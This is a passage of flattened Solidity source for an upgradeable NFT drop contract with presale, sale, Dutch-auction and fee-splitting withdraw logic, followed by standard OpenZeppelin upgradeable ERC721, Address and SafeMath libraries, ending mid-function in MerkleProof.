uint256 private _startedAt;
// States
bool private _presaleActive = false;
bool private _saleActive = false;
bool private _auctionActive = false;
modifier onlyMintable(uint256 numberOfTokens) {
require(numberOfTokens > 0, "Greater than 0");
require(
_mintCount[_msgSender()].add(numberOfTokens) <= _maxPerWallet,
"Exceeded max"
);
require(
totalSupply().add(numberOfTokens) <= _maxAmount,
"Exceeded max"
);
_;
}
function initialize(
string memory name_,
string memory symbol_,
address treasury_
) public initializer {
__ERC721_init(name_, symbol_);
__ERC721Enumerable_init();
__Ownable_init();
_dropKit = IDropKit(_msgSender());
_treasury = treasury_;
}
function mint(uint256 numberOfTokens)
public
payable
onlyMintable(numberOfTokens)
{
require(!_presaleActive, "Not active");
require(_auctionActive || _saleActive, "Not active");
_purchaseMint(numberOfTokens, _msgSender());
}
function presaleMint(uint256 numberOfTokens, bytes32[] calldata proof)
public
payable
onlyMintable(numberOfTokens)
{
require(_presaleActive, "Not active");
require(_merkleRoot != "", "Not active");
require(
MerkleProofUpgradeable.verify(
proof,
_merkleRoot,
keccak256(abi.encodePacked(_msgSender()))
),
"Not active"
);
_purchaseMint(numberOfTokens, _msgSender());
}
function batchAirdrop(
uint256[] calldata numberOfTokens,
address[] calldata recipients
) external onlyOwner {
require(numberOfTokens.length == recipients.length);
for (uint256 i = 0; i < recipients.length; i++) {
_mint(numberOfTokens[i], recipients[i]);
}
}
function setMerkleRoot(bytes32 newRoot) public onlyOwner {
_merkleRoot = newRoot;
}
function startSale(
uint256 newMaxAmount,
uint256 newMaxPerMint,
uint256 newMaxPerWallet,
uint256 newPrice,
bool presale
) public onlyOwner {
_saleActive = true;
_presaleActive = presale;
_maxAmount = newMaxAmount;
_maxPerMint = newMaxPerMint;
_maxPerWallet = newMaxPerWallet;
_price = newPrice;
}
function startAuction(
uint256 newMaxAmount,
uint256 newMaxPerMint,
uint256 newMaxPerWallet,
uint256 newStartPrice,
uint256 newEndPrice,
uint256 newDuration,
bool presale
) public onlyOwner {
_auctionActive = true;
_presaleActive = presale;
_startedAt = block.timestamp;
_maxAmount = newMaxAmount;
_maxPerMint = newMaxPerMint;
_maxPerWallet = newMaxPerWallet;
_endPrice = newEndPrice;
_startPrice = newStartPrice;
_duration = newDuration;
}
function stopSale() public onlyOwner {
_saleActive = false;
_auctionActive = false;
_presaleActive = false;
}
function withdraw() public {
require(address(this).balance > 0, "0 balance");
uint256 balance = address(this).balance;
uint256 fees = _dropKit.getFees(address(this));
AddressUpgradeable.sendValue(payable(_treasury), balance - fees);
AddressUpgradeable.sendValue(payable(address(_dropKit)), fees);
_dropKit.addFeesClaimed(fees);
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
_tokenBaseURI = newBaseURI;
}
function setTreasury(address newTreasury) public onlyOwner {
_treasury = newTreasury;
}
function treasury() external view returns (address) {
return _treasury;
}
function maxAmount() external view returns (uint256) {
return _maxAmount;
}
function maxPerMint() external view returns (uint256) {
return _maxPerMint;
}
function maxPerWallet() external view returns (uint256) {
return _maxPerWallet;
}
function price() external view returns (uint256) {
return _price;
}
function totalRevenue() external view returns (uint256) {
return _totalRevenue;
}
function presaleActive() external view returns (bool) {
return _presaleActive;
}
function saleActive() external view returns (bool) {
return _saleActive;
}
function auctionActive() external view returns (bool) {
return _auctionActive;
}
function auctionStartedAt() external view returns (uint256) {
return _startedAt;
}
function auctionDuration() external view returns (uint256) {
return _duration;
}
function auctionPrice() public view returns (uint256) {
if ((block.timestamp - _startedAt) >= _duration) {
return _endPrice;
} else {
return
((_duration - (block.timestamp - _startedAt)) *
(_startPrice - _endPrice)) /
_duration +
_endPrice;
}
}
function _baseURI() internal view virtual override returns (string memory) {
return _tokenBaseURI;
}
function _purchaseMint(uint256 numberOfTokens, address sender) internal {
uint256 mintPrice = _auctionActive
? auctionPrice().mul(numberOfTokens)
: _price.mul(numberOfTokens);
require(mintPrice <= msg.value, "Value incorrect");
_totalRevenue = _totalRevenue.add(msg.value);
_dropKit.addFees(msg.value);
_mintCount[sender] = _mintCount[sender].add(numberOfTokens);
_mint(numberOfTokens, sender);
}
function _mint(uint256 numberOfTokens, address sender) internal {
require(
_maxAmount > 0
? totalSupply().add(numberOfTokens) <= _maxAmount
: true,
"Exceeded max"
);
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 mintIndex = totalSupply() + 1;
_safeMint(sender, mintIndex);
}
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
